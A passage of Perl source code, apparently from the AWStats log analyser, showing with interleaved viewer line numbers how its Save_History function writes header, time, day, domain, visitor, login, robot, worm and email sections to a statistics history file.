        my $lastlinechecksum = shift || 0;
 
6199
        if ( !$lastlinenb ) {    # This happens for migrate
 
6200
                $lastlinenb       = $LastLineNumber;
 
6201
                $lastlineoffset   = $LastLineOffset;
 
6202
                $lastlinechecksum = $LastLineChecksum;
 
6203
        }
 
6204
 
 
6205
        if ($Debug) {
 
6206
                debug(
 
6207
" Save_History [sectiontosave=$sectiontosave,year=$year,month=$month,breakdate=$breakdate,lastlinenb=$lastlinenb,lastlineoffset=$lastlineoffset,lastlinechecksum=$lastlinechecksum]",
 
6208
                        1
 
6209
                );
 
6210
        }
 
6211
        my $spacebar      = "                    ";
 
6212
        my %keysinkeylist = ();
 
6213
 
 
6214
        # Header
 
6215
        if ( $sectiontosave eq 'header' ) {
 
6216
                if ($xml) { print HISTORYTMP "<version><lib>\n"; }
 
6217
                print HISTORYTMP "AWSTATS DATA FILE $VERSION\n";
 
6218
                if ($xml) { print HISTORYTMP "</lib><comment>\n"; }
 
6219
                print HISTORYTMP
 
6220
"# If you remove this file, all statistics for date $breakdate will be lost/reset.\n";
 
6221
                print HISTORYTMP
 
6222
                  "# Last config file used to build this data file was $FileConfig.\n";
 
6223
                if ($xml) { print HISTORYTMP "</comment></version>\n"; }
 
6224
                print HISTORYTMP "\n";
 
6225
                if ($xml) {
 
6226
                        print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
 
6227
                }
 
6228
                print HISTORYTMP
 
6229
"# Position (offset in bytes) in this file for beginning of each section for\n";
 
6230
                print HISTORYTMP
 
6231
"# direct I/O access. If you made changes somewhere in this file, you should\n";
 
6232
                print HISTORYTMP
 
6233
"# also remove completely the MAP section (AWStats will rewrite it at next\n";
 
6234
                print HISTORYTMP "# update).\n";
 
6235
                print HISTORYTMP "${xmlbb}BEGIN_MAP${xmlbs}"
 
6236
                  . ( 26 + ( scalar keys %TrapInfosForHTTPErrorCodes ) +
 
6237
                          ( scalar @ExtraName ? scalar @ExtraName - 1 : 0 ) +
 
6238
                          ( scalar keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) )
 
6239
                  . "${xmlbe}\n";
 
6240
                print HISTORYTMP "${xmlrb}POS_GENERAL${xmlrs}";
 
6241
                $PosInFile{"general"} = tell HISTORYTMP;
 
6242
                print HISTORYTMP "$spacebar${xmlre}\n";
 
6243
 
 
6244
                # When
 
6245
                print HISTORYTMP "${xmlrb}POS_TIME${xmlrs}";
 
6246
                $PosInFile{"time"} = tell HISTORYTMP;
 
6247
                print HISTORYTMP "$spacebar${xmlre}\n";
 
6248
                print HISTORYTMP "${xmlrb}POS_VISITOR${xmlrs}";
 
6249
                $PosInFile{"visitor"} = tell HISTORYTMP;
 
6250
                print HISTORYTMP "$spacebar${xmlre}\n";
 
6251
                print HISTORYTMP "${xmlrb}POS_DAY${xmlrs}";
 
6252
                $PosInFile{"day"} = tell HISTORYTMP;
 
6253
                print HISTORYTMP "$spacebar${xmlre}\n";
 
6254
 
 
6255
                # Who
 
6256
                print HISTORYTMP "${xmlrb}POS_DOMAIN${xmlrs}";
 
6257
                $PosInFile{"domain"} = tell HISTORYTMP;
 
6258
                print HISTORYTMP "$spacebar${xmlre}\n";
 
6259
                print HISTORYTMP "${xmlrb}POS_LOGIN${xmlrs}";
 
6260
                $PosInFile{"login"} = tell HISTORYTMP;
 
6261
                print HISTORYTMP "$spacebar${xmlre}\n";
 
6262
                print HISTORYTMP "${xmlrb}POS_ROBOT${xmlrs}";
 
6263
                $PosInFile{"robot"} = tell HISTORYTMP;
 
6264
                print HISTORYTMP "$spacebar${xmlre}\n";
 
6265
                print HISTORYTMP "${xmlrb}POS_WORMS${xmlrs}";
 
6266
                $PosInFile{"worms"} = tell HISTORYTMP;
 
6267
                print HISTORYTMP "$spacebar${xmlre}\n";
 
6268
                print HISTORYTMP "${xmlrb}POS_EMAILSENDER${xmlrs}";
 
6269
                $PosInFile{"emailsender"} = tell HISTORYTMP;
 
6270
                print HISTORYTMP "$spacebar${xmlre}\n";
 
6271
                print HISTORYTMP "${xmlrb}POS_EMAILRECEIVER${xmlrs}";
 
6272
                $PosInFile{"emailreceiver"} = tell HISTORYTMP;
 
6273
                print HISTORYTMP "$spacebar${xmlre}\n";
 
6274
 
 
6275
                # Navigation
 
6276
                print HISTORYTMP "${xmlrb}POS_SESSION${xmlrs}";
 
6277
                $PosInFile{"session"} = tell HISTORYTMP;
 
6278
                print HISTORYTMP "$spacebar${xmlre}\n";
 
6279
                print HISTORYTMP "${xmlrb}POS_SIDER${xmlrs}";
 
6280
                $PosInFile{"sider"} = tell HISTORYTMP;
 
6281
                print HISTORYTMP "$spacebar${xmlre}\n";
 
6282
                print HISTORYTMP "${xmlrb}POS_FILETYPES${xmlrs}";
 
6283
                $PosInFile{"filetypes"} = tell HISTORYTMP;
 
6284
                print HISTORYTMP "$spacebar${xmlre}\n";
 
6285
                print HISTORYTMP "${xmlrb}POS_DOWNLOADS${xmlrs}";
 
6286
                $PosInFile{'downloads'} = tell HISTORYTMP;
 
6287
                print HISTORYTMP "$spacebar${xmlre}\n";
 
6288
                print HISTORYTMP "${xmlrb}POS_OS${xmlrs}";
 
6289
                $PosInFile{"os"} = tell HISTORYTMP;
 
6290
                print HISTORYTMP "$spacebar${xmlre}\n";
 
6291
                print HISTORYTMP "${xmlrb}POS_BROWSER${xmlrs}";
 
6292
                $PosInFile{"browser"} = tell HISTORYTMP;
 
6293
                print HISTORYTMP "$spacebar${xmlre}\n";
 
6294
                print HISTORYTMP "${xmlrb}POS_SCREENSIZE${xmlrs}";
 
6295
                $PosInFile{"screensize"} = tell HISTORYTMP;
 
6296
                print HISTORYTMP "$spacebar${xmlre}\n";
 
6297
                print HISTORYTMP "${xmlrb}POS_UNKNOWNREFERER${xmlrs}";
 
6298
                $PosInFile{'unknownreferer'} = tell HISTORYTMP;
 
6299
                print HISTORYTMP "$spacebar${xmlre}\n";
 
6300
                print HISTORYTMP "${xmlrb}POS_UNKNOWNREFERERBROWSER${xmlrs}";
 
6301
                $PosInFile{'unknownrefererbrowser'} = tell HISTORYTMP;
 
6302
                print HISTORYTMP "$spacebar${xmlre}\n";
 
6303
 
 
6304
                # Referers
 
6305
                print HISTORYTMP "${xmlrb}POS_ORIGIN${xmlrs}";
 
6306
                $PosInFile{"origin"} = tell HISTORYTMP;
 
6307
                print HISTORYTMP "$spacebar${xmlre}\n";
 
6308
                print HISTORYTMP "${xmlrb}POS_SEREFERRALS${xmlrs}";
 
6309
                $PosInFile{"sereferrals"} = tell HISTORYTMP;
 
6310
                print HISTORYTMP "$spacebar${xmlre}\n";
 
6311
                print HISTORYTMP "${xmlrb}POS_PAGEREFS${xmlrs}";
 
6312
                $PosInFile{"pagerefs"} = tell HISTORYTMP;
 
6313
                print HISTORYTMP "$spacebar${xmlre}\n";
 
6314
                print HISTORYTMP "${xmlrb}POS_SEARCHWORDS${xmlrs}";
 
6315
                $PosInFile{"searchwords"} = tell HISTORYTMP;
 
6316
                print HISTORYTMP "$spacebar${xmlre}\n";
 
6317
                print HISTORYTMP "${xmlrb}POS_KEYWORDS${xmlrs}";
 
6318
                $PosInFile{"keywords"} = tell HISTORYTMP;
 
6319
                print HISTORYTMP "$spacebar${xmlre}\n";
 
6320
 
 
6321
                # Others
 
6322
                print HISTORYTMP "${xmlrb}POS_MISC${xmlrs}";
 
6323
                $PosInFile{"misc"} = tell HISTORYTMP;
 
6324
                print HISTORYTMP "$spacebar${xmlre}\n";
 
6325
                print HISTORYTMP "${xmlrb}POS_ERRORS${xmlrs}";
 
6326
                $PosInFile{"errors"} = tell HISTORYTMP;
 
6327
                print HISTORYTMP "$spacebar${xmlre}\n";
 
6328
                print HISTORYTMP "${xmlrb}POS_CLUSTER${xmlrs}";
 
6329
                $PosInFile{"cluster"} = tell HISTORYTMP;
 
6330
                print HISTORYTMP "$spacebar${xmlre}\n";
 
6331
 
 
6332
                foreach ( keys %TrapInfosForHTTPErrorCodes ) {
 
6333
                        print HISTORYTMP "${xmlrb}POS_SIDER_$_${xmlrs}";
 
6334
                        $PosInFile{"sider_$_"} = tell HISTORYTMP;
 
6335
                        print HISTORYTMP "$spacebar${xmlre}\n";
 
6336
                }
 
6337
                foreach ( 1 .. @ExtraName - 1 ) {
 
6338
                        print HISTORYTMP "${xmlrb}POS_EXTRA_$_${xmlrs}";
 
6339
                        $PosInFile{"extra_$_"} = tell HISTORYTMP;
 
6340
                        print HISTORYTMP "$spacebar${xmlre}\n";
 
6341
                }
 
6342
                foreach ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) {
 
6343
                        print HISTORYTMP "${xmlrb}POS_PLUGIN_$_${xmlrs}";
 
6344
                        $PosInFile{"plugin_$_"} = tell HISTORYTMP;
 
6345
                        print HISTORYTMP "$spacebar${xmlre}\n";
 
6346
                }
 
6347
                print HISTORYTMP "${xmleb}END_MAP${xmlee}\n";
 
6348
        }
 
6349
 
 
6350
        # General
 
6351
        if ( $sectiontosave eq 'general' ) {
 
6352
                $LastUpdate = int("$nowyear$nowmonth$nowday$nowhour$nowmin$nowsec");
 
6353
                print HISTORYTMP "\n";
 
6354
                if ($xml) {
 
6355
                        print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
 
6356
                }
 
6357
                print HISTORYTMP
 
6358
"# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value\n";
 
6359
                print HISTORYTMP
 
6360
                  "# FirstTime   = Date of first visit for history file\n";
 
6361
                print HISTORYTMP
 
6362
                  "# LastTime    = Date of last visit for history file\n";
 
6363
                print HISTORYTMP
 
6364
"# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped\n";
 
6365
                print HISTORYTMP "# TotalVisits = Number of visits\n";
 
6366
                print HISTORYTMP "# TotalUnique = Number of unique visitors\n";
 
6367
                print HISTORYTMP "# MonthHostsKnown   = Number of hosts known\n";
 
6368
                print HISTORYTMP "# MonthHostsUnKnown = Number of hosts unknown\n";
 
6369
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
 
6370
                print HISTORYTMP "${xmlbb}BEGIN_GENERAL${xmlbs}8${xmlbe}\n";
 
6371
                print HISTORYTMP "${xmlrb}LastLine${xmlrs}"
 
6372
                  . ( $LastLine > 0 ? $LastLine : $LastTime{$breakdate} )
 
6373
                  . " $lastlinenb $lastlineoffset $lastlinechecksum${xmlre}\n";
 
6374
                print HISTORYTMP "${xmlrb}FirstTime${xmlrs}"
 
6375
                  . $FirstTime{$breakdate}
 
6376
                  . "${xmlre}\n";
 
6377
                print HISTORYTMP "${xmlrb}LastTime${xmlrs}"
 
6378
                  . $LastTime{$breakdate}
 
6379
                  . "${xmlre}\n";
 
6380
                print HISTORYTMP
 
6381
"${xmlrb}LastUpdate${xmlrs}$LastUpdate $NbOfLinesParsed $NbOfOldLines $NbOfNewLines $NbOfLinesCorrupted $NbOfLinesDropped${xmlre}\n";
 
6382
                print HISTORYTMP "${xmlrb}TotalVisits${xmlrs}";
 
6383
                $PosInFile{"TotalVisits"} = tell HISTORYTMP;
 
6384
                print HISTORYTMP "$spacebar${xmlre}\n";
 
6385
                print HISTORYTMP "${xmlrb}TotalUnique${xmlrs}";
 
6386
                $PosInFile{"TotalUnique"} = tell HISTORYTMP;
 
6387
                print HISTORYTMP "$spacebar${xmlre}\n";
 
6388
                print HISTORYTMP "${xmlrb}MonthHostsKnown${xmlrs}";
 
6389
                $PosInFile{"MonthHostsKnown"} = tell HISTORYTMP;
 
6390
                print HISTORYTMP "$spacebar${xmlre}\n";
 
6391
                print HISTORYTMP "${xmlrb}MonthHostsUnknown${xmlrs}";
 
6392
                $PosInFile{"MonthHostsUnknown"} = tell HISTORYTMP;
 
6393
                print HISTORYTMP "$spacebar${xmlre}\n";
 
6394
                print HISTORYTMP "${xmleb}"
 
6395
                  . ( ${xmleb} ? "\n" : "" )
 
6396
                  . "END_GENERAL${xmlee}\n"
 
6397
                  ; # END_GENERAL on a new line following xml tag because END_ detection does not work like other sections
 
6398
        }
 
6399
 
 
6400
        # When
 
6401
        if ( $sectiontosave eq 'time' ) {
 
6402
                print HISTORYTMP "\n";
 
6403
                if ($xml) {
 
6404
                        print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
 
6405
                }
 
6406
                print HISTORYTMP
 
6407
"# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth\n";
 
6408
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
 
6409
                print HISTORYTMP "${xmlbb}BEGIN_TIME${xmlbs}24${xmlbe}\n";
 
6410
                for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) {
 
6411
                        print HISTORYTMP "${xmlrb}$ix${xmlrs}"
 
6412
                          . int( $_time_p[$ix] )
 
6413
                          . "${xmlrs}"
 
6414
                          . int( $_time_h[$ix] )
 
6415
                          . "${xmlrs}"
 
6416
                          . int( $_time_k[$ix] )
 
6417
                          . "${xmlrs}"
 
6418
                          . int( $_time_nv_p[$ix] )
 
6419
                          . "${xmlrs}"
 
6420
                          . int( $_time_nv_h[$ix] )
 
6421
                          . "${xmlrs}"
 
6422
                          . int( $_time_nv_k[$ix] )
 
6423
                          . "${xmlre}\n";
 
6424
                }
 
6425
                print HISTORYTMP "${xmleb}END_TIME${xmlee}\n";
 
6426
        }
 
6427
        if ( $sectiontosave eq 'day' )
 
6428
        {    # This section must be saved after VISITOR section is read
 
6429
                print HISTORYTMP "\n";
 
6430
                if ($xml) {
 
6431
                        print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
 
6432
                }
 
6433
                print HISTORYTMP "# Date - Pages - Hits - Bandwidth - Visits\n";
 
6434
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
 
6435
                print HISTORYTMP "${xmlbb}BEGIN_DAY${xmlbs}"
 
6436
                  . ( scalar keys %DayHits )
 
6437
                  . "${xmlbe}\n";
 
6438
                my $monthvisits = 0;
 
6439
                foreach ( sort keys %DayHits ) {
 
6440
                        if ( $_ =~ /^$year$month/i ) { # Found a day entry of the good month
 
6441
                                my $page   = $DayPages{$_}  || 0;
 
6442
                                my $hits   = $DayHits{$_}   || 0;
 
6443
                                my $bytes  = $DayBytes{$_}  || 0;
 
6444
                                my $visits = $DayVisits{$_} || 0;
 
6445
                                print HISTORYTMP
 
6446
"${xmlrb}$_${xmlrs}$page${xmlrs}$hits${xmlrs}$bytes${xmlrs}$visits${xmlre}\n";
 
6447
                                $monthvisits += $visits;
 
6448
                        }
 
6449
                }
 
6450
                $MonthVisits{ $year . $month } = $monthvisits;
 
6451
                print HISTORYTMP "${xmleb}END_DAY${xmlee}\n";
 
6452
        }
 
6453
 
 
6454
        # Who
 
6455
        if ( $sectiontosave eq 'domain' ) {
 
6456
                print HISTORYTMP "\n";
 
6457
                if ($xml) {
 
6458
                        print HISTORYTMP
 
6459
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'Domain'}</sortfor><comment>\n";
 
6460
                }
 
6461
                print HISTORYTMP "# Domain - Pages - Hits - Bandwidth\n";
 
6462
                print HISTORYTMP
 
6463
"# The $MaxNbOf{'Domain'} first Pages must be first (order not required for others)\n";
 
6464
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
 
6465
                print HISTORYTMP "${xmlbb}BEGIN_DOMAIN${xmlbs}"
 
6466
                  . ( scalar keys %_domener_h )
 
6467
                  . "${xmlbe}\n";
 
6468
 
 
6469
# We save page list in score sorted order to get a -output faster and with less use of memory.
 
6470
                &BuildKeyList(
 
6471
                        $MaxNbOf{'Domain'}, $MinHit{'Domain'},
 
6472
                        \%_domener_h,       \%_domener_p
 
6473
                );
 
6474
                my %keysinkeylist = ();
 
6475
                foreach (@keylist) {
 
6476
                        $keysinkeylist{$_} = 1;
 
6477
                        my $page = $_domener_p{$_} || 0;
 
6478
                        my $bytes = $_domener_k{$_}
 
6479
                          || 0;    # ||0 could be commented to reduce history file size
 
6480
                        print HISTORYTMP
 
6481
"${xmlrb}$_${xmlrs}$page${xmlrs}$_domener_h{$_}${xmlrs}$bytes${xmlre}\n";
 
6482
                }
 
6483
                foreach ( keys %_domener_h ) {
 
6484
                        if ( $keysinkeylist{$_} ) { next; }
 
6485
                        my $page = $_domener_p{$_} || 0;
 
6486
                        my $bytes = $_domener_k{$_}
 
6487
                          || 0;    # ||0 could be commented to reduce history file size
 
6488
                        print HISTORYTMP
 
6489
"${xmlrb}$_${xmlrs}$page${xmlrs}$_domener_h{$_}${xmlrs}$bytes${xmlre}\n";
 
6490
                }
 
6491
                print HISTORYTMP "${xmleb}END_DOMAIN${xmlee}\n";
 
6492
        }
 
6493
        if ( $sectiontosave eq 'visitor' ) {
 
6494
                print HISTORYTMP "\n";
 
6495
                if ($xml) {
 
6496
                        print HISTORYTMP
 
6497
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'HostsShown'}</sortfor><comment>\n";
 
6498
                }
 
6499
                print HISTORYTMP
 
6500
"# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]\n";
 
6501
                print HISTORYTMP
 
6502
"# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished\n";
 
6503
                print HISTORYTMP
 
6504
"# The $MaxNbOf{'HostsShown'} first Hits must be first (order not required for others)\n";
 
6505
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
 
6506
                print HISTORYTMP "${xmlbb}BEGIN_VISITOR${xmlbs}"
 
6507
                  . ( scalar keys %_host_h )
 
6508
                  . "${xmlbe}\n";
 
6509
                my $monthhostsknown = 0;
 
6510
 
 
6511
# We save page list in score sorted order to get a -output faster and with less use of memory.
 
6512
                &BuildKeyList( $MaxNbOf{'HostsShown'}, $MinHit{'Host'}, \%_host_h,
 
6513
                        \%_host_p );
 
6514
                my %keysinkeylist = ();
 
6515
                foreach my $key (@keylist) {
 
6516
                        if ( $key !~ /^\d+\.\d+\.\d+\.\d+$/ && $key !~ /^[0-9A-F]*:/i ) {
 
6517
                                $monthhostsknown++;
 
6518
                        }
 
6519
                        $keysinkeylist{$key} = 1;
 
6520
                        my $page      = $_host_p{$key} || 0;
 
6521
                        my $bytes     = $_host_k{$key} || 0;
 
6522
                        my $timehostl = $_host_l{$key} || 0;
 
6523
                        my $timehosts = $_host_s{$key} || 0;
 
6524
                        my $lastpage  = $_host_u{$key} || '';
 
6525
                        if ( $timehostl && $timehosts && $lastpage ) {
 
6526
 
 
6527
                                if ( ( $timehostl + $VISITTIMEOUT ) < $LastLine ) {
 
6528
 
 
6529
                                        # Session for this user is expired
 
6530
                                        if ($timehosts) {
 
6531
                                                $_session{ GetSessionRange( $timehosts, $timehostl ) }
 
6532
                                                  ++;
 
6533
                                        }
 
6534
                                        if ($lastpage) { $_url_x{$lastpage}++; }
 
6535
                                        delete $_host_s{$key};
 
6536
                                        delete $_host_u{$key};
 
6537
                                        print HISTORYTMP
 
6538
"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$timehostl${xmlre}\n";
 
6539
                                }
 
6540
                                else {
 
6541
 
 
6542
                                        # If this user has started a new session that is not expired
 
6543
                                        print HISTORYTMP
 
6544
"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$timehostl${xmlrs}$timehosts${xmlrs}$lastpage${xmlre}\n";
 
6545
                                }
 
6546
                        }
 
6547
                        else {
 
6548
                                my $hostl = $timehostl || '';
 
6549
                                print HISTORYTMP
 
6550
"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$hostl${xmlre}\n";
 
6551
                        }
 
6552
                }
 
6553
                foreach my $key ( keys %_host_h ) {
 
6554
                        if ( $keysinkeylist{$key} ) { next; }
 
6555
                        if ( $key !~ /^\d+\.\d+\.\d+\.\d+$/ && $key !~ /^[0-9A-F]*:/i ) {
 
6556
                                $monthhostsknown++;
 
6557
                        }
 
6558
                        my $page      = $_host_p{$key} || 0;
 
6559
                        my $bytes     = $_host_k{$key} || 0;
 
6560
                        my $timehostl = $_host_l{$key} || 0;
 
6561
                        my $timehosts = $_host_s{$key} || 0;
 
6562
                        my $lastpage  = $_host_u{$key} || '';
 
6563
                        if ( $timehostl && $timehosts && $lastpage ) {
 
6564
                                if ( ( $timehostl + $VISITTIMEOUT ) < $LastLine ) {
 
6565
 
 
6566
                                        # Session for this user is expired
 
6567
                                        if ($timehosts) {
 
6568
                                                $_session{ GetSessionRange( $timehosts, $timehostl ) }
 
6569
                                                  ++;
 
6570
                                        }
 
6571
                                        if ($lastpage) { $_url_x{$lastpage}++; }
 
6572
                                        delete $_host_s{$key};
 
6573
                                        delete $_host_u{$key};
 
6574
                                        print HISTORYTMP
 
6575
"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$timehostl${xmlre}\n";
 
6576
                                }
 
6577
                                else {
 
6578
 
 
6579
                                        # If this user has started a new session that is not expired
 
6580
                                        print HISTORYTMP
 
6581
"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$timehostl${xmlrs}$timehosts${xmlrs}$lastpage${xmlre}\n";
 
6582
                                }
 
6583
                        }
 
6584
                        else {
 
6585
                                my $hostl = $timehostl || '';
 
6586
                                print HISTORYTMP
 
6587
"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$hostl${xmlre}\n";
 
6588
                        }
 
6589
                }
 
6590
                $MonthUnique{ $year . $month }       = ( scalar keys %_host_p );
 
6591
                $MonthHostsKnown{ $year . $month }   = $monthhostsknown;
 
6592
                $MonthHostsUnknown{ $year . $month } =
 
6593
                  ( scalar keys %_host_h ) - $monthhostsknown;
 
6594
                print HISTORYTMP "${xmleb}END_VISITOR${xmlee}\n";
 
6595
        }
 
6596
        if ( $sectiontosave eq 'login' ) {
 
6597
                print HISTORYTMP "\n";
 
6598
                if ($xml) {
 
6599
                        print HISTORYTMP
 
6600
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'LoginShown'}</sortfor><comment>\n";
 
6601
                }
 
6602
                print HISTORYTMP "# Login - Pages - Hits - Bandwidth - Last visit\n";
 
6603
                print HISTORYTMP
 
6604
"# The $MaxNbOf{'LoginShown'} first Pages must be first (order not required for others)\n";
 
6605
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
 
6606
                print HISTORYTMP "${xmlbb}BEGIN_LOGIN${xmlbs}"
 
6607
                  . ( scalar keys %_login_h )
 
6608
                  . "${xmlbe}\n";
 
6609
 
 
6610
# We save login list in score sorted order to get a -output faster and with less use of memory.
 
6611
                &BuildKeyList( $MaxNbOf{'LoginShown'}, $MinHit{'Login'}, \%_login_h,
 
6612
                        \%_login_p );
 
6613
                my %keysinkeylist = ();
 
6614
                foreach (@keylist) {
 
6615
                        $keysinkeylist{$_} = 1;
 
6616
                        print HISTORYTMP "${xmlrb}$_${xmlrs}"
 
6617
                          . int( $_login_p{$_} || 0 )
 
6618
                          . "${xmlrs}"
 
6619
                          . int( $_login_h{$_} || 0 )
 
6620
                          . "${xmlrs}"
 
6621
                          . int( $_login_k{$_} || 0 )
 
6622
                          . "${xmlrs}"
 
6623
                          . ( $_login_l{$_} || '' )
 
6624
                          . "${xmlre}\n";
 
6625
                }
 
6626
                foreach ( keys %_login_h ) {
 
6627
                        if ( $keysinkeylist{$_} ) { next; }
 
6628
                        print HISTORYTMP "${xmlrb}$_${xmlrs}"
 
6629
                          . int( $_login_p{$_} || 0 )
 
6630
                          . "${xmlrs}"
 
6631
                          . int( $_login_h{$_} || 0 )
 
6632
                          . "${xmlrs}"
 
6633
                          . int( $_login_k{$_} || 0 )
 
6634
                          . "${xmlrs}"
 
6635
                          . ( $_login_l{$_} || '' )
 
6636
                          . "${xmlre}\n";
 
6637
                }
 
6638
                print HISTORYTMP "${xmleb}END_LOGIN${xmlee}\n";
 
6639
        }
 
6640
        if ( $sectiontosave eq 'robot' ) {
 
6641
                print HISTORYTMP "\n";
 
6642
                if ($xml) {
 
6643
                        print HISTORYTMP
 
6644
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'RobotShown'}</sortfor><comment>\n";
 
6645
                }
 
6646
                print HISTORYTMP
 
6647
                  "# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt\n";
 
6648
                print HISTORYTMP
 
6649
"# The $MaxNbOf{'RobotShown'} first Hits must be first (order not required for others)\n";
 
6650
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
 
6651
                print HISTORYTMP "${xmlbb}BEGIN_ROBOT${xmlbs}"
 
6652
                  . ( scalar keys %_robot_h )
 
6653
                  . "${xmlbe}\n";
 
6654
 
 
6655
# We save robot list in score sorted order to get a -output faster and with less use of memory.
 
6656
                &BuildKeyList( $MaxNbOf{'RobotShown'}, $MinHit{'Robot'}, \%_robot_h,
 
6657
                        \%_robot_h );
 
6658
                my %keysinkeylist = ();
 
6659
                foreach (@keylist) {
 
6660
                        $keysinkeylist{$_} = 1;
 
6661
                        print HISTORYTMP "${xmlrb}$_${xmlrs}"
 
6662
                          . int( $_robot_h{$_} )
 
6663
                          . "${xmlrs}"
 
6664
                          . int( $_robot_k{$_} )
 
6665
                          . "${xmlrs}$_robot_l{$_}${xmlrs}"
 
6666
                          . int( $_robot_r{$_} || 0 )
 
6667
                          . "${xmlre}\n";
 
6668
                }
 
6669
                foreach ( keys %_robot_h ) {
 
6670
                        if ( $keysinkeylist{$_} ) { next; }
 
6671
                        print HISTORYTMP "${xmlrb}$_${xmlrs}"
 
6672
                          . int( $_robot_h{$_} )
 
6673
                          . "${xmlrs}"
 
6674
                          . int( $_robot_k{$_} )
 
6675
                          . "${xmlrs}$_robot_l{$_}${xmlrs}"
 
6676
                          . int( $_robot_r{$_} || 0 )
 
6677
                          . "${xmlre}\n";
 
6678
                }
 
6679
                print HISTORYTMP "${xmleb}END_ROBOT${xmlee}\n";
 
6680
        }
 
6681
        if ( $sectiontosave eq 'worms' ) {
 
6682
                print HISTORYTMP "\n";
 
6683
                if ($xml) {
 
6684
                        print HISTORYTMP
 
6685
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'WormsShown'}</sortfor><comment>\n";
 
6686
                }
 
6687
                print HISTORYTMP "# Worm ID - Hits - Bandwidth - Last visit\n";
 
6688
                print HISTORYTMP
 
6689
"# The $MaxNbOf{'WormsShown'} first Hits must be first (order not required for others)\n";
 
6690
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
 
6691
                print HISTORYTMP "${xmlbb}BEGIN_WORMS${xmlbs}"
 
6692
                  . ( scalar keys %_worm_h )
 
6693
                  . "${xmlbe}\n";
 
6694
 
 
6695
# We save worm list in score sorted order to get a -output faster and with less use of memory.
 
6696
                &BuildKeyList( $MaxNbOf{'WormsShown'}, $MinHit{'Worm'}, \%_worm_h,
 
6697
                        \%_worm_h );
 
6698
                my %keysinkeylist = ();
 
6699
                foreach (@keylist) {
 
6700
                        $keysinkeylist{$_} = 1;
 
6701
                        print HISTORYTMP "${xmlrb}$_${xmlrs}"
 
6702
                          . int( $_worm_h{$_} )
 
6703
                          . "${xmlrs}"
 
6704
                          . int( $_worm_k{$_} )
 
6705
                          . "${xmlrs}$_worm_l{$_}${xmlre}\n";
 
6706
                }
 
6707
                foreach ( keys %_worm_h ) {
 
6708
                        if ( $keysinkeylist{$_} ) { next; }
 
6709
                        print HISTORYTMP "${xmlrb}$_${xmlrs}"
 
6710
                          . int( $_worm_h{$_} )
 
6711
                          . "${xmlrs}"
 
6712
                          . int( $_worm_k{$_} )
 
6713
                          . "${xmlrs}$_worm_l{$_}${xmlre}\n";
 
6714
                }
 
6715
                print HISTORYTMP "${xmleb}END_WORMS${xmlee}\n";
 
6716
        }
 
6717
        if ( $sectiontosave eq 'emailsender' ) {
 
6718
                print HISTORYTMP "\n";
 
6719
                if ($xml) {
 
6720
                        print HISTORYTMP
 
6721
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'EMailsShown'}</sortfor><comment>\n";
 
6722
                }
 
6723
                print HISTORYTMP "# EMail - Hits - Bandwidth - Last visit\n";
 
6724
                print HISTORYTMP
 
6725
"# The $MaxNbOf{'EMailsShown'} first Hits must be first (order not required for others)\n";
 
6726
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
 
6727
                print HISTORYTMP "${xmlbb}BEGIN_EMAILSENDER${xmlbs}"
 
6728
                  . ( scalar keys %_emails_h )
 
6729
                  . "${xmlbe}\n";
 
6730
 
 
6731
# We save sender email list in score sorted order to get a -output faster and with less use of memory.
 
6732
                &BuildKeyList( $MaxNbOf{'EMailsShown'}, $MinHit{'EMail'}, \%_emails_h,
 
6733
                        \%_emails_h );
 
6734
                my %keysinkeylist = ();
 
6735
                foreach (@keylist) {
 
6736
                        $keysinkeylist{$_} = 1;
 
6737
                        print HISTORYTMP "${xmlrb}$_${xmlrs}"
 
6738
                          . int( $_emails_h{$_} || 0 )
 
6739
                          . "${xmlrs}"
 
6740
                          . int( $_emails_k{$_} || 0 )
 
6741
                          . "${xmlrs}$_emails_l{$_}${xmlre}\n";
 
6742
                }
 
6743
                foreach ( keys %_emails_h ) {
 
6744
                        if ( $keysinkeylist{$_} ) { next; }
 
6745
                        print HISTORYTMP "${xmlrb}$_${xmlrs}"
 
6746
                          . int( $_emails_h{$_} || 0 )
 
6747
                          . "${xmlrs}"
 
6748
                          . int( $_emails_k{$_} || 0 )
 
6749
                          . "${xmlrs}$_emails_l{$_}${xmlre}\n";
 
6750
                }
 
6751
                print HISTORYTMP "${xmleb}END_EMAILSENDER${xmlee}\n";
 
6752
        }
 
6753
        if ( $sectiontosave eq 'emailreceiver' ) {
 
